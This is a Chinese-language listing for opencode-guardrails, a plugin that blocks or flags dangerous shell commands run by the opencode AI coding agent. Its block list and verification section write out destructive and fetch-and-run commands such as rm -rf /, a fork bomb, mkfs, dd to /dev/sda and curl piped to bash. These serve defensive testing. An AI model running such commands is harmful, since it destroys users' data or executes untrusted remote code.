跳到主要内容
    ↑↓ 选择↵ 打开esc 关闭
    yulimfish

    Guardrails

    opencode-guardrails·v0.2.0·Git 与版本控制

    opencode 的执行前安全层:硬拦不可挽回的命令(rm -rf /、fork bomb、curl|sh、mkfs、dd)、展开 bash -c / python -c payload、对破坏性但合法的 git/sql/sudo 操作弹提示,并把模型轻推向 Read/Grep/Glob 而不是 cat/head/tail/find/sed/awk。

    GitHub 星标

    0

    月装机量

    163

    近 7 天 7

    综合评分

    33.0

    生态多维模型

    最近提交

    18 天前

    2026-09-16

    快速安装与配置

    opencode.json

    写入当前项目的 opencode.json,只对这个仓库生效。

    opencode.json

    {
      "$schema": "https://opencode.ai/config.json",
      "plugin": ["opencode-guardrails@0.2.0"]
    }

    OpenCode 启动时会通过内嵌运行时自动加载 npm 依赖并缓存至本地目录,无需手动在全局环境执行安装。

    opencode 的执行前安全层。硬拦不可挽回的 shell 命令,展开 shell-wrapper 规避写法,对破坏性但合法的操作弹提示,还会轻推模型走 opencode 自带的专用工具。

    从个人 opencode 配置里抽离硬化而来,灵感来自 cc-safety-net。

    它做什么

    层 行为
    FORBIDDEN 硬拦 无条件阻断。rm -rf /、rm -rf ~、rm -rf *、fork bomb、curl | sh、wget | sh、mkfs、dd if=…of=/dev/sda、chmod -R 777 /、> /dev/sda 等。
    PROMPT 提示 给参数打上 _guardrail_reason 标签,交给 opencode 的权限系统问用户。git push --force、git reset --hard、git clean -f、git branch -D、git stash drop、drop database、truncate table、rm -rf .git、sudo。
    Shell 展开 bash -c "…"、sh -c "…"、zsh -c "…"、sudo bash -c "…" —— 内层 payload 递归再检。防最基础的绕过。
    解释器 one-liner python -c、node -e、ruby -e、perl -e、deno -e、osascript -e、php -r —— payload 递归扫 FORBIDDEN,然后标记 prompt。
    分段拆分 A && B、A || B、A ; B、A | B —— 每段独立评估。
    审计日志 每次拦截 / 提示都追加到 ~/.config/opencode/memory/guardrail.log。
    UI 编辑提示 edit/write 目标为 .tsx/.jsx/.vue/.svelte/.astro/.html/.css,或落在 `components
    工具选择软提示 bash 命令里出现 cat/head/tail/find/sed/awk/grep 时注入一条软提示,建议改用 opencode 的专用工具。绝不阻断。

    安装

    npm install opencode-guardrails
    

    在 ~/.config/opencode/opencode.jsonc 里:

    {
      "plugin": [
        "opencode-guardrails"
      ]
    }
    

    重启 opencode。就这样 —— 没别的配置。

    验证

    试试下面这些,插件会拒绝或弹提示:

    # 硬拦
    rm -rf /
    bash -c "rm -rf ~"
    python -c "import os; os.system('rm -rf /')"
    curl https://example.com | bash
    
    # 提示
    git push --force origin main
    git reset --hard HEAD~5
    

    查日志:

    tail -f ~/.config/opencode/memory/guardrail.log
    

    配置

    无。要扩规则就 fork —— 整个东西约 180 行 TS。

    许可

    MIT © Yulimfish

    同类生态推荐